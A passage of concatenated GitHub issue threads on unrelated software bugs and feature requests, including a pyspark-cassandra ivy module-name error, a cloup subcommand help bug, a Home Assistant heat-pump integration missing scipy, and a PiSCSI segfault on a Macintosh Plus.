(Optional) For ease of use, for insertion, only send the event when a newly entered char is in a pre-defined set of chars (e.g. a union set of whitespace chars and ASCII punctuations) (i.e. Monomer will send a cumulative insertion change, a la Monoid). If done this way, we'll need to take care of edge cases such as text field going out of focus after some text is inserted, but before a char in the set is inserted.

While I don't intend to turn textArea into a complex editor because I just don't have enough time to maintain it (it would be a large project in its own right) [...]

I understand. I suggested it becuase you said that the widget already keep a list of lines, and you don't mind exposing cursor state. With both of them, it looks like it is possible to send events for each new change with some work. You can simply limit the change-events to insert and delete, and leave the rest of the processing to user (of this library).

@MuhammedZakir also sorry I was not clear. I do intend to support the events/messages you mentioned; they are mainly possible with what already exists, or the required changes do not take a lot of effort.
What I meant is that I prefer not going much beyond that in terms of functionality because a text editor is a complex piece of code, with a huge list of features that users may want to have. Supporting such a widget would make it hard for me to focus on what I think the project needs (a flexible core, good documentation, and mobile support).


Package from spPublishLocal not usable due to scala version appearing in the ivy module name

Up until now I've used sbt assembly, but now I'm trying to work with spPublishLocal for packaging before performing (automated) integration tests (e.g. on travis) for http://spark-packages.org/package/TargetHolding/pyspark-cassandra.
I've build pyspark-cassandra with:
sbt spPublishLocal

When I run pyspark with
PYSPARK_DRIVER_PYTHON=ipython \
path/to/spark-1.5.2-bin-hadoop2.6/bin/pyspark \
--conf spark.cassandra.connection.host=localhost \
--driver-memory 2g \
--master local[*] \
--packages TargetHolding/pyspark-cassandra:0.3.0

I get:
Python 2.7.10 (default, Sep 24 2015, 17:50:09)
Type "copyright", "credits" or "license" for more information.

IPython 2.4.1 -- An enhanced Interactive Python.
?         -> Introduction and overview of IPython's features.
%quickref -> Quick reference.
help      -> Python's own help system.
object?   -> Details about 'object', use 'object??' for extra details.
Ivy Default Cache set to: /home/frens-jan/.ivy2/cache
The jars for the packages stored in: /home/frens-jan/.ivy2/jars
:: loading settings :: url = jar:file:/home/frens-jan/Workspaces/tgho/spark/pyspark-cassandra/lib/spark-1.5.2-bin-hadoop2.6/lib/spark-assembly-1.5.2-hadoop2.6.0.jar!/org/apache/ivy/core/settings/ivysettings.xml
TargetHolding#pyspark-cassandra added as a dependency
:: resolving dependencies :: org.apache.spark#spark-submit-parent;1.0
    confs: [default]
:: resolution report :: resolve 794ms :: artifacts dl 0ms
    :: modules in use:
    ---------------------------------------------------------------------
    |                  |            modules            ||   artifacts   |
    |       conf       | number| search|dwnlded|evicted|| number|dwnlded|
    ---------------------------------------------------------------------
    |      default     |   1   |   0   |   0   |   0   ||   0   |   0   |
    ---------------------------------------------------------------------

:: problems summary ::
:::: WARNINGS
        ::::::::::::::::::::::::::::::::::::::::::::::

        ::          UNRESOLVED DEPENDENCIES         ::

        ::::::::::::::::::::::::::::::::::::::::::::::

        :: TargetHolding#pyspark-cassandra;0.3.0: java.text.ParseException: inconsistent module descriptor file found in '/home/frens-jan/.ivy2/local/TargetHolding/pyspark-cassandra/0.3.0/ivys/ivy.xml': bad module name: expected='pyspark-cassandra' found='pyspark-cassandra_2.10';

        ::::::::::::::::::::::::::::::::::::::::::::::

:::: ERRORS
        local-ivy-cache: bad module name found in /home/frens-jan/.ivy2/local/TargetHolding/pyspark-cassandra/0.3.0/ivys/ivy.xml: expected='pyspark-cassandra found='pyspark-cassandra_2.10'

:: USE VERBOSE OR DEBUG MESSAGE LEVEL FOR MORE DETAILS
Exception in thread "main" java.lang.RuntimeException: [unresolved dependency: TargetHolding#pyspark-cassandra;0.3.0: java.text.ParseException: inconsistent module descriptor file found in '/home/frens-jan/.ivy2/local/TargetHolding/pyspark-cassandra/0.3.0/ivys/ivy.xml': bad module name: expected='pyspark-cassandra' found='pyspark-cassandra_2.10'; ]
    at org.apache.spark.deploy.SparkSubmitUtils$.resolveMavenCoordinates(SparkSubmit.scala:1011)
    at org.apache.spark.deploy.SparkSubmit$.prepareSubmitEnvironment(SparkSubmit.scala:286)
    at org.apache.spark.deploy.SparkSubmit$.submit(SparkSubmit.scala:153)
    at org.apache.spark.deploy.SparkSubmit$.main(SparkSubmit.scala:120)
    at org.apache.spark.deploy.SparkSubmit.main(SparkSubmit.scala)
---------------------------------------------------------------------------
Exception                                 Traceback (most recent call last)
/home/frens-jan/Workspaces/tgho/spark/pyspark-cassandra/lib/spark-1.5.2-bin-hadoop2.6/python/pyspark/shell.py in <module>()
     41     SparkContext.setSystemProperty("spark.executor.uri", os.environ["SPARK_EXECUTOR_URI"])
     42
---> 43 sc = SparkContext(pyFiles=add_files)
     44 atexit.register(lambda: sc.stop())
     45

/home/frens-jan/Workspaces/tgho/spark/pyspark-cassandra/lib/spark-1.5.2-bin-hadoop2.6/python/pyspark/context.pyc in __init__(self, master, appName, sparkHome, pyFiles, environment, batchSize, serializer, conf, gateway, jsc, profiler_cls)
    108         """
    109         self._callsite = first_spark_call() or CallSite(None, None, None)
--> 110         SparkContext._ensure_initialized(self, gateway=gateway)
    111         try:
    112             self._do_init(master, appName, sparkHome, pyFiles, environment, batchSize, serializer,

/home/frens-jan/Workspaces/tgho/spark/pyspark-cassandra/lib/spark-1.5.2-bin-hadoop2.6/python/pyspark/context.pyc in _ensure_initialized(cls, instance, gateway)
    232         with SparkContext._lock:
    233             if not SparkContext._gateway:
--> 234                 SparkContext._gateway = gateway or launch_gateway()
    235                 SparkContext._jvm = SparkContext._gateway.jvm
    236

/home/frens-jan/Workspaces/tgho/spark/pyspark-cassandra/lib/spark-1.5.2-bin-hadoop2.6/python/pyspark/java_gateway.pyc in launch_gateway()
     92                 callback_socket.close()
     93         if gateway_port is None:
---> 94             raise Exception("Java gateway process exited before sending the driver its port number")
     95
     96         # In Windows, ensure the Java child processes do not linger after Python has exited.

Exception: Java gateway process exited before sending the driver its port number

In [1]:

Any ideas what I am doing wrong?

anyone?

This is a bug in conjunction with Spark. I've looked into it for a while, but couldn't resolve it on Spark side. I'll look deeper here

@frensjan Did you ever resolve this?

nope, sorry


Require one constraint prevents subcommand help from working

Bug description
If I create a command group that has an option group with the require_one constraint, and then add a subcommand to that group, I am unable to run --help on the subcommand without passing one of the required options at the group level.
To Reproduce
# test.py
import cloup
from cloup.constraints import require_one

@cloup.group()
@cloup.option_group(
    "credentials",
    cloup.option("--foo", help="foo"),
    cloup.option("--bar", help="bar"),
    constraint=require_one,
)
def cli(foo, bar):
    "Top level group text."

@cli.command()
def subcommand():
    """Subcommand help text."""

if __name__ == "__main__":
    cli()

python test.py subcommand --help

Expected behavior
Help text of subcommand is printed:
python test.py subcommand --help
Usage: test.py subcommand [OPTIONS]

  Subcommand help text.

Options:
  --help  Show this message and exit.

Actual behavior
An error is printed due to one of the required group options not being specified.
python test.py subcommand --help
Usage: test.py [OPTIONS] COMMAND [ARGS]...
Try 'test.py --help' for help.

Error: exactly 1 of the following parameters must be set:
  --foo
  --bar

Thanks for the detailed report. I'll check if I can do something about this as soon as I can. Meanwhile, I want to suggest you an alternative, which is in my opinion more flexible and future-proof. My suggestion is to move the group arguments, especially if required, to the subcommands. This if more flexible since if tomorrow you want to add a command that doesn't require those credentials, you will be able to do it.
import cloup
from cloup.constraints import require_one

class Common:
    credentials = cloup.option_group(
        "credentials",
        cloup.option("--foo", help="foo"),
        cloup.option("--bar", help="bar"),
        constraint=require_one,
    )

@cloup.group()
def cli():
    """Top level group text."""
    pass

@cli.command()
@Common.credentials
def subcommand(foo, bar):
    """Subcommand help text."""

if __name__ == "__main__":
    cli()

That's a smart idea. I didn't think about giving the decorator a name and re-using it. Thanks!

Btw, Click has the same problem with required Group parameters:
import click

@click.group()
@click.option("--foo", help="foo", required=True)
def cli(foo):
    """Top level group text."""

@cli.command()
def subcommand():
    """Subcommand help text."""

if __name__ == "__main__":
    cli("subcommand --help".split())

So if this is a Click issue then, should this be closed?

No, the Cloup part is solvable and I'm going to push it.


Fix issue with sequences

The sequence generator as of now creates just one instance of Sequence that gets shared for each unnamed sequence or simply put all unnamed sequence share the same sequence. This PR modifies the sequence generator so that each sequence call creates a new instance.

Nice one Chetan. I've published 4.0.0-beta.1


bug: Enabling native scroll buggy on mobile browsers

Type: bug
Platform: mobile browser
Using version 1.0.0, enabling native scroll works fine when compiled to app on Android, but occasionally causes content to disappear on mobile browsers when clicking header to scroll to top of page. This happens more often on iOS 8 Safari than on Lollipop Chrome 42.

Greetings @GuyPie!
My sensors indicate that you need to update your issue through our custom issue form. We are now requiring all issues to be submitted this way, to ensure that we have all of the information necessary to fix them as quickly as possible.
Click Here To Update Your Issue
I will have no choice but to close this issue if it is not resubmitted through the form. Please fill out the rest of the form, so that I may use my friendly robot powers to assist you.
Thank you!

Native scrolling is not officially supported on iOS yet. Cordova on iOS is still forced to used UIWebView which doesn't fire the scroll events native scrolling functionality depends on.
It's a big issue in the hybrid community, and we hope Apple resolves this soon because our hands are kind of tied until they do.


Add support for failsafe

Requires zalando/riptide#218.
Proposed configuration
rest.clients:
  example:
    failsafe: # only needed if we keep hystrix as an alternative, not sure if I actually want to
      retry:
        fixed-delay: 1 second
        exponentional-backoff:
          delay: 500 millis
          max-delay: 3 seconds
          delay-factor: 2 # default
        max-retries: 3
        max-duration: 5 seconds
        jitter: 0.1
      circuit-breaker:
        failure-threshold: 5
        delay: 1 minute
        success-threshold: 5

Should use failsafe-actuactor's CircuitBreakerRegistry for creating circuit breakers.

When you are using direct access to CircuitBreakerRegistry you cannot make use of the provided annotation?

What do you mean?

Forget about it, don't know what I thought about.

Closing in favor of zalando/riptide#229


Arru 3.0

will be moved to a separate repo as TagArru or ArruTag as it is fundamentally incompatible with anything built on top of Arru so shouldn't be just an automatic update without any user input


deactivate meta synchronisation

Hi,
If I deselect all checkbox of a group (general, stock etc) of Meta list (in WooPoly Advanced Options) all the check box are reseted and re-checked.
Is there a way to deactivate meta synchronisation ?

Up

In src/Hyyan/WPI/Product/Product.php, function __construct()
comment new Meta();
to deactivate all syncronisation
It's not the solution but it work.

@tolima Thx

It is part of the plugin job to sync meta , but you can control meta from the plugin options page , working perfectly with v0.27

It is part of the plugin job to sync meta

yes but if we don't want this part of the plugin ? Or if we don't want it on a whole group (general, stock etc) ?
I have the same problem with 0.28

I did a few tests and notice that indeed, if one unchecked the settings of an entire Group, after pressing Saving Changes, the settings boxes get re-checked. Apparently, if you only uncheck a few options, it gets saved ok. Still need to test if the fact they are unchecked really takes effect.
On this basis, I would say it is a valid bug.
Also, I would agree that it would be nice to have a button to uncheck/check an entire Group. This would be a feature enhancement.
If I find a little bit of time, I will try to fix it and propose a solution to Hyyan. Unfortunately, I have quite a lot of work right now, and can really promise a date.

Closing - I can't replicate this on current versions.
According to change log, there was a related fix on Issue #51 in version 0.29


Integration configuration fails

Describe the bug
Configuration of integration fails with error:

2024-10-11 09:09:57.961 ERROR (MainThread) [homeassistant.config_entries] Error setting up entry <IP_ADDRESS> for weishaupt_wbb

  File "/config/custom_components/weishaupt_wbb/number.py", line 11, in <module>
    from .entities import BuildEntityList
  File "/config/custom_components/weishaupt_wbb/entities.py", line 12, in <module>
    from .kennfeld import PowerMap
  File "/config/custom_components/weishaupt_wbb/kennfeld.py", line 1, in <module>
    from scipy.interpolate import CubicSpline
ModuleNotFoundError: No module named 'scipy'

To Reproduce
Steps to reproduce the behavior:

Install weishaupt_wbb integration and start configuration
See error

Expected behavior
No error
Home assistant device:

Device: Home Assistant Yellow Kit
Core Version: 2024.10.1
OS: 13.1

Additional context
Q: NumPy/SciPy and HASS.io
There are also some additional messages for identities

Please check out 0.0.2. I added scipy as requirement.

Please check out 0.0.3. I added scipy as requirement. (in 0.0.2 code base was not yet synched..)

Unfortunately this was not successful.

  File "/usr/src/homeassistant/homeassistant/requirements.py", line 170, in async_get_integration_with_requirements
    await future
  File "/usr/src/homeassistant/homeassistant/requirements.py", line 159, in async_get_integration_with_requirements
    await self._async_process_integration(integration, done)
  File "/usr/src/homeassistant/homeassistant/requirements.py", line 182, in _async_process_integration
    await self.async_process_requirements(
  File "/usr/src/homeassistant/homeassistant/requirements.py", line 269, in async_process_requirements
    await self._async_process_requirements(name, missing)
  File "/usr/src/homeassistant/homeassistant/requirements.py", line 307, in _async_process_requirements
    raise RequirementsNotFound(name, list(failures))
homeassistant.requirements.RequirementsNotFound: Requirements for weishaupt_wbb not found: ['scipy==1.14.1'].

Ah, OK. I use core on a Pi 5. There adding the requirements solved the issue.
I only use the cubic spline function from scipy..
do you have access to a terminal on HA yellow?

Yes, I have access to a terminal.

Can you try to enter:
python -m pip install scipy
Or even with sudo, when no rights to install..

when installing scipy, can you tell me the version that was installed?

I used apk add py3-scipy. See screenshot.

(19/20) Installing py3-scipy (1.11.4-r2)
(20/20) Installing py3-scipy-pyc (1.11.4-r2)

OK, that's too much for me as newbie ;-)
Please check out v 0.0.4. I removed scipy temporary. Will find another interpolation method..

OK. This one was successful. :+1

Some values are strange …

Thanks for the info! The strange values seem to be not available at your heatpump. Do you have configured a 2nd heater (i.e. a gas heater) that takes over at Bivalenztemp?
However, a not available value should be +/- 32768 according to the documentation?

I see. I do not have a 2nd heater. I will rearrange the cards tomorrow and remove it.
Maybe this could be avoided by the configuration dialog.

Some entities do not have a valid unit_of_measurement. Also state_class is missing with the new Integration.

sensor.warmepumpe_solltemperatur => should be °C
wärmepumpe-drehzahl_pumpe_m1 => should be %

name typo: warmwassertemepratur => warmwassertemperatur

I‘m afraid they do not belong to the integration „weishaupt_wbb“
Please have a look at the file hpconst.py. There‘s a structure at the end where you can see all names provided by my integration.
(Some entities do not have a state class, I‘ll correct this..)

Thank you for the hint. This is a mix-up of entities of Weishaupt WEM Portal and Weishaupt weishaupt_modbus integration. I will remove Weishaupt WEM Portal integration as soon as a first release of weishaupt_wbb is available :smile:
The naming of the entities could be improved and I wonder what will happen if 2 weishaupt heat pumps will be configured 😉 .
https://github.com/OStrama/weishaupt_modbus/blob/76da2dc50c8d578ddc0f6d381a4df46f92676f7b/custom_components/weishaupt_modbus/hpconst.py#L355

Yes, there are some enhancements necessary and I‘m still learning a lot about Python and home assistant integrations. For example, how to manage additional parameters at setup, translations, …
How likely will it happen that there‘s a config with two heat pumps in one home assistant instance? Do users have one HA instance to manage several homes?

I do not know a real example but someone could have installed a heat pump for warm water only and will later exchange fossil heating with another heat pump. This might be a scenario for the near future.

Thank you for the this great Weishaupt modbus integration.


Satisfies #380: Adds ‘errors_types’ support in bootstrap_form tag

Apologies to @ikcam, I had developed this independently.
Though, now that I see his, I wonder if this one is cleaner. His does have a test though =) I'll leave it to the maintainers to pick which way to go, but please pick one and make a release. Thank you!

Coverage increased (+0.01%) to 86.128% when pulling 33bc62f0b7d0946aac9d6c86852a1982cefd5364 on mkoistinen:feature/errors_type_support into 66ca85fd521d48c8ba25525248e744b224834a9c on dyve:develop.


error in the warm up phase

Hi,
I'm running cypher implementation v1-dev benchmark.sh.
In the warm-up phase, some errors occur.

There are no such queries in the queries/. Do you know what happened?

I also have another question:

the results of benchmark.sh show that there exist some errors.Does it mean that the TCR is inappropriate?And the  Operation times are not satisfied the  “95% on-time requirement”?

Should I run the determine-best-tcr-common.sh?

There are no such queries in the queries/. Do you know what happened?
This is just a warning

the results of benchmark.sh show that there exist some errors.Does it mean that the TCR is inappropriate?And the Operation times are not satisfied the “95% on-time requirement”?

Yes, if you see such a message, the TCR is too low. You can use the determine-best-tcr-common.sh script and let it run in the background for a while, or manually figure out a TCR value that's sufficiently high for the 95% on-time requirement to be satisfied.


Nodejs canvas output

I'm wrote script that translates text screen output to console, it works good:

But now I want to translate graphic screen to GUI (but I cant find normal gui lib like sdl for nodejs (I found, but it's not installing), so I want to save screenshots to file).
But this not works

I found module canvas for nodejs and tested it.
I can save screenshot using canvas.toDataURL(), encoding from base64 and converting to buffer.
https://gist.github.com/Pixelsuft/5d83ca4cf4fa26c9e3c89d5dc5885143
It works, but when I'm adding listeners for emulator in graphic mode (for exaple, 'screen-fill-buffer-end', 'screen-clear', 'screen-set-size-graphical'), they not works

@copy

Screenshots uses the canvas api, which is not available in node.

nope

Wow!


fixing hardcodes and exposing tile_size

Hi. It is sometimes usefull to change the default googles tilesize of 256. I played with that in your code and have it tested and working. Cheers.

Thanks


ShowOnHome meta for pages and categories

New ShowOnHome meta that you can use either in a page's meta data section or in a folder's meta file. Possible values are true or false. Anything with false won't show on the home page.
When ShowOnHome is missing in an element config.show_on_home_default is used. When config.show_on_home_default is missing then value set will be true meaning that you can just forget about this functionality and still have all your content available on the home page as usual.
The restrictive approach would be to set config.show_on_home_default to false in that case you need to actively set ShowOnHome: true to all elements you want to appear on the home page.
Updated example folder docs accordingly. Also, dared to add a new page for the category meta since the possibility of having page metadata was only mentioned tangentially in the Sorting page. I felt that it should have a page for itself since it is likely to grow in the future and even today has possibilities that could go unnoticed.
Of course, some test added. Wanted to add test for the route module as well but there's none so far and would be nice to have a way to mock Raneto's core in order to test them in isolation (SinonJS?).

Great contribution and thanks for adding tests!
Merged


Where example code?)

Can you show please example code for this, I need just show dicom image by url in react app
https://www.cornerstonejs.org/live-examples/stackbasic

see here https://www.cornerstonejs.org/docs/tutorials/examples

The source code of that file is actually
https://github.com/cornerstonejs/cornerstone3D-beta/blob/0351fb1a90a9aa5192c1ad2a0eea3f7634a20d5b/packages/core/examples/stackBasic/index.ts#L1-L83
'/live-examples' (seemingly) comes from packages/core/examples/. Meanwhile /docs/tutorials are split between packages/tools/examples/tutorial/index.ts and packages/docs/tutorials/, with the expectation that you'll copy-paste the tutorial code into tutorial/index.ts. For example, the equivalent "stack basic" tutorial code is at
https://github.com/cornerstonejs/cornerstone3D-beta/blob/0351fb1a90a9aa5192c1ad2a0eea3f7634a20d5b/packages/docs/docs/tutorials/basic-stack.md?plain=1#L72-L95
That these aren't derived synchronously from the same code is probably the source of the bug I just ran into, #238.


Inconsistent promise chaining with HttpPromise

The $http special promise methods success and error do not always chain as expected.  These should work with the promise chain as expected and also be fully interoperable with the $q methods .then and .catch.
http://plnkr.co/edit/csyUaNojCaUvN6k47V6C?p=preview
    $http.get("https://cors-test.appspot.com/test").success(function (data) {
      return $q(function (_, reject) { reject() });
    }).error(function () {
      console.log("first error should be logged, isn't");
    });

    $http.get("https://cors-test.appspot.com/test").success(function (data) {
      return $http.get("http://doesnt.exist")
    }).success(function () {
      console.log("second error is incorrectly considered a success");
    }).catch(function () {
      console.log("second error should be logged, isn't");
    });

    $http.get("https://cors-test.appspot.com/test").then(function (data) {
      return $q(function (_, reject) { reject() });
    }).catch(function () {
      console.log("third error should be logged, is");
    });

    $http.get("https://cors-test.appspot.com/test").then(function (data) {
      return $http.get("http://doesnt.exist")
    }).catch(function () {
      console.log("fourth error should be logged, is");
    });

This will emit

second error is incorrectly considered a success
third error should be logged, is
fourth error should be logged, is

The issue seems to be that if a promise is returned from the .success and .error callbacks, it is treated as a truthy value rather than continuing the promise chain.  Instead, they should continue the promise chain.

Based on the discussion at #4345 and #10508 (especially https://github.com/angular/angular.js/issues/10508#issuecomment-67734857), it seems like success() and error() are heading for deprecation.
Note that fixing their "brokenness" would be quite of a breaking change.


Improve documentation

As a first time user of the project I realized that the documentation could be improved. Besides several occurrences where the markdown style guide is not adhered too also a file reference was broken in the docs/create_topology.md.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 53.575%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
1888

Relevant Lines:
3524

💛  - Coveralls

you are referencing to a markdown styleguide which is a goolge's collection of styleguides for programming languages. Is there a google' markdown styleguide?

@hellt There is a pretty popular markdown styleguide at https://github.com/DavidAnson/markdownlint that I regularly use. It slightly differs from https://google.github.io/styleguide/docguide/style.html


[Foundation Dependency Removal] CoreText removal of Foundation usage

[x] CTFontManager: Should use CFSTR vs NSString
[x] CTFontCollection: Should use CFSTR vs NSString
[x] CTFrame: Should use CFSTR vs NSString
[x] CTFontCollection: Should use CFSTR vs NSString
[x] CTRun: Should use CFSTR vs NSString
[x] CTTextTab: Should use CFSTR vs NSString
[x] CTTypesetter: Should use CFSTR vs NSString

?

Wrong item, re-purpose.

Item - [ ] CTLine: remove usage of NSMutableAttributedString falls under issue #2357
As there too many usage of NS* components.
As other items are complete, closing this out.


Don't use opaque formulas without reasoning behind them.

https://github.com/paritytech/second-price-auction/blob/master/src/contracts/SecondPriceAuction.sol#L178
https://github.com/paritytech/second-price-auction/blob/master/src/contracts/SecondPriceAuction.sol#L186
These two formulas have a couple of un-named constants that make them incredibly opaque as to what their intent is.  Also, the provenance of the formula is not mentioned anywhere which makes it hard to analyze whether they are achieving the desired goal (because the desired goal is not described anywhere).
Recommend changing unnamed constants to named constants or local variables.
Recommend including clear documentation on what the formula is doing, where it comes from, and what it is attempting to achieve.
At a higher level I recommend a strategy that doesn't depend on opaque formula and instead takes a more naive/simpler approach to improve auditability.  While the formula may be correct, it makes it notably harder to audit the system than a more naive/simple implementation of the goals.

There is not logarithms in which would make it easier. Will add comment with justification.

Well, the graph is really just a bunch of anonymous constants - it's not like they ever had names. It doesn't really come from anywhere - it was custom designed. What it is attempting to achieve and its general description is out of scope for this codebase, but should certainly be done should this contract be used in the wild.


Write webpack plugin

Done (in another repo)

https://github.com/holography/holograph-webpack-plugin


Paging Threshold Documentation

In the paging section of the documentation there's a reference of an option to change the paging threshold. The page states, "You can override the value of the threshold. More information can be found in the Customizations section. " I couldn't find anything in the customizations section regarding this. I would love to see an example of this in action. Thanks.

customizations/global:
.run(function () {
    TrNgGrid.defaultPagerMinifiedPageCountThreshold = 3;
})


No such file or directory: 'model.pth.tar' when create TextToSpeech instance

i'm testing  Demo Nootbook and i faced this error when creating an instance of TextToSpeech  model

Indeed, model.pth.tar is no longer hosted in google drive.

Unfortunately, the model was deleted by mistake from my drive. I don't have any copy of it locally. If someone has downloaded it before they can reupload it.

Can you check the history in Google Drive or the recycle bin as I need the library to be work soon

Can you check the history in Google Drive or the recycle bin as I need the library to be work soon

Even the bin is empty.

The training files need some minor tweaks to work. I am currently training the model. Once the training is complete, I will try to make it available again.

The training files need some minor tweaks to work. I am currently training the model. Once the training is complete, I will try to make it available again.
Awesome, thanks!

Wating you to finish it 🔥
@radicali94

The training files need some minor tweaks to work. I am currently training the model. Once the training is complete, I will try to make it available again.

Waiting you to finish after you finish, please let us know

The training files need some minor tweaks to work. I am currently training the model. Once the training is complete, I will try to make it available again.

Did you trained the model? Thanks in advance

I downloaded the file a while ago and have uploaded it again now. Here is the link.

Thank you @nipponjo, updated the drive link.


Task percentage must be between 0% and 100%.

Actual behavior: The Task Percentage field accepts any numerical value and does not limit values to a maximum of 100%.
Expected behavior: The Task Percentage field should only accept values from 0% to 100% and not allow percentages greater than 100% and only allow integer percentages.
Reproduction steps:

Open POSTMAN
Hit the PATCH call to /tasks/:taskId with the Request body having key percentCompleted with a value > 100 or < 0.

@heyrandhir i would like to work on this issue


monitor exporter - port exporter related tests to track2 from track 1

https://github.com/microsoft/opentelemetry-azure-monitor-python/tree/master/azure_monitor/tests/trace
@hectorhdzg @lzchen

completed during beta1 release


Macintosh Plus not Seeing PiSCSI

Info

Which version of Pi are you using: RPI 3 B v1.2
Which GitHub revision of software: November 2023 release
Which board version: PiScsi Zero v1.0 FULLSPEC
Which computer is the PiSCSI connected to: Macintosh Plus
Which OS you are using (output of 'lsb_release -a'): Raspbian GNU/Linux 11 (bullseye)

Describe the issue
I can't get the Macintosh to recognize the PiScsi at all. I have tried several different disk images, none of which have worked. The Macintosh boots to the question mark no matter what I have attached on the PiScsi. I believe it may have something to do with the Plus's weird SCSI standards.
I think it may have something to do with the Unit Attention, SCSI Selection Delay, and the SCSI selection pulses, because that has caused issues on the SCSI2SD. I have no idea how these settings could be adjusted on
the PiScsi though. [https://www.codesrc.com/mediawiki/index.php/Mac_Plus]

@Jeremiahdmass This sounds like either a SCSI termination or cablage issue. Please go through all the steps in https://github.com/PiSCSI/piscsi/wiki/Troubleshooting and see if it makes a difference.
FWIW there are known quirks and limitations with piscsi and the Mac Plus. See https://github.com/PiSCSI/piscsi/issues/656 for more info.

Thanks for the reply. I put a glob of solder on the termination pads and have the db25 connector plugged directly into the Mac's SCSI port so I don't think either of those could be an issue. However, I forgot to mention that when I look in the logs, there's nothing there besides it saying that I mounted whatever I was trying to boot from.

Are other SCSI mass storage devices working properly with the same Plus and SCSI cablage?

I tried some images formatted with the silver lining driver, and still nothing. I would think a driver issue would boot to a sad Mac instead of just waiting for a floppy.

Your symptoms make me think the signals aren’t getting through on the SCSI bus. Which suggests it’s either bad cablage, heavy oxidation on the DB25 ports, fault on the piscsi board or fault on the Plus logic board.
What’d I would do first is to try other SCSI cables and other Macs to eliminate those factors. And also work some contact cleaner into those DB25s to clear out any oxidation.

Unfortunately I don't have another Mac to try it on. I have worked some contact cleaner into the port but I guess I can try some more. I definitely am going to buy some more cables though.

I have confirmed that my connections are good. The PiScsi is now showing some activity. When the Mac is searching for a SCSI device, the ENB light flashes on once. But the Mac still says it can't find any SCSI devices. I've tried several different hard drive configurations and disk images but to no avail.

Did you try the Plus specific Silverlining formatted image that I shared in the issue ticket linked above?
If that one doesn't work either, please share piscsi trace logs from when the Plus is powered on.

I have tried a Silverlining formatted disk. However, there is nothing in the logs except the attached device even after the light blinks and the Mac can't find it.
Here are the logs.
 Are the logs from a different attempt? Anyways, there's nothing in this log message that gives any hint. Can you please make sure you enabled trace level logging?
Where did you get the piscsi board from? You might want to double check with them that the board was tested before it was shipped.

That isn't the image from that issue ticket, but I have also tried it and gotten nothing. The "HD1-100MB_HFS.hda" image was from somewhere random but it should also be Silverlining formatted.
How do I enable trace-level logging?
I bought a kit from eBay with just the SMD parts soldered and did the rest myself, so it wasn't tested. I have checked it multiple times and my solder work is good.

Look at that, it’s a segmentation fault at the end of the logs. Would it be possible to get a stack trace from that segfault?

Sorry, I don't really know what that means. I'm not good at this kind of stuff.

Ok, I have that done. Now what do I need to do?

@Jeremiahdmass My apologies, I realized you need to do a git pull after git checkout develop to get the latest code.
The next step would be to run piscsi in the gdb debugger, e.g. sudo gdb --arge piscsi -ID0 /path/to/harddrive.hda
Then you attempt to boot your system. Once the piscsi process crashes with the segfault, type "bt" in the debugger to get the backtrace. Then share the backtrace here.

I have fixed that and gotten the latest code, but when I run piscsi with the debugger it doesn't work. I don't think its attaching the disk image, because the activity indicator isn't doing anything. When I run the service normally, the light will blink, but only if an image is mounted.

Did you execute the “run” command in the debugger?

I didn't know that needed to be done🤦♂.
Thread 1 "piscsi" received signal SIGSEGV, Segmentation fault.
0x00000000004dd130 in GPIOBUS::CommandHandShake(std::vector<unsigned char, std::allocator >&) ()
(gdb) bt
#0  0x00000000004dd130 in GPIOBUS::CommandHandShake(std::vector<unsigned char, std::allocator >&) ()
#1  0x00000000004a16bc in ScsiController::Command() ()
#2  0x00000000004a15a8 in ScsiController::Selection() ()
#3  0x00000000004a7db0 in PhaseHandler::ProcessPhase() const ()
#4  0x00000000004a11f0 in ScsiController::Process(int) ()
#5  0x00000000004aaec8 in AbstractController::ProcessOnController(int) ()
#6  0x00000000004a916c in ControllerManager::ProcessOnController(int) const ()
#7  0x00000000004836c8 in Piscsi::Process() ()
#8  0x0000000000483030 in Piscsi::run(std::span<char*,<PHONE_NUMBER>3709551615ul>) ()
#9  0x00000000004e2d58 in main ()
(gdb)

When I boot the piscsi after the Mac and then try to use the hdsc app the service doesn't crash but the logs are different. I don't know if that means anything but here they are.
[2024-04-14 00:06:10.923] [trace] (ID 6) - ++++ Starting processing for initiator ID 7
[2024-04-14 00:06:10.923] [trace] (ID 6) - Selection phase
[2024-04-14 00:06:10.924] [trace] (ID 6) - Selection completed
[2024-04-14 00:06:10.924] [trace] (ID 6) - Command phase
[2024-04-14 00:06:14.923] [trace] (ID 6) - Received unknown command: $0
[2024-04-14 00:06:14.923] [debug] (ID 6) - Error status: Sense Key $05, ASC $20
[2024-04-14 00:06:14.924] [trace] (ID 6) - Status phase, status is $02
[2024-04-14 00:06:14.924] [trace] (ID 6) - Sending data, offset: 0, length: 1
[2024-04-14 00:06:22.923] [trace] (ID 6) - Bus Free phase

Very nice stacktrace, thank you! The piscsi process seems to be doing absolutely normal things there, and fails at a very early stage when accessing the RPi's GPIO bus. Not to try and lay the blame on your setup, but I wonder if your RPi could be faulty, or if you could have poor connectivity on one or more of the GPIO pins? Have you used all the GPIO pins with other RPi hats, by any chance? Do you have more RPis lying around that you could try?

I tried a different RPi, and I got the same results. I used the SD card from the other Pi I was using and used jumpers to connect the piscsi board to the GPIO. I triple-checked all the jumper connections before testing and ensured they were all good.

Thanks for the thorough tests.
I released a new stable version of the software earlier this week. May I ask you to upgrade and see if this changes anything? If it looks the same, we may have to start trying older software versions and see if there was an earlier breakage.

I updated it and I'm still getting the exact same results. What do I need to do to install the older versions?

Do you have spare micro SD cards? We have pre-made images for all release versions that you can flash and have a working setup with an old version with little effort.

I installed the February 2022 version (v22.02.02-lite) and still, nothing.
I got the trace logs and it looks like a very similar error to what I was getting on the latest version.
"[2024-05-06 22:08:53.629] [trace] virtual void SCSIDEV::Selection() Selection Phase ID=7 (with device)
[2024-05-06 22:08:53.629] [trace] virtual void SASIDEV::Command() Command Phase
[2024-05-06 22:08:54.351] [trace] virtual void SCSIDEV::Selection() Selection Phase ID=7 (with device)
[2024-05-06 22:08:54.351] [trace] virtual void SASIDEV::Command() Command Phase
[2024-05-06 22:08:55.629] [trace] virtual void SCSIDEV::Error(ERROR_CODES::sense_key, ERROR_CODES::asc) Error (to status phase)
[2024-05-06 22:08:55.629] [trace] void SASIDEV::Status() Status phase
[2024-05-06 22:08:55.629] [trace] void SASIDEV::Status() Status Phase $02
[2024-05-06 22:08:55.629] [trace] virtual void SCSIDEV::Send() sending handhake with offset 0, length 1
"


add support for matching distance in phrase query

The first commit still allows ~ in words, might be a bit flimsy.
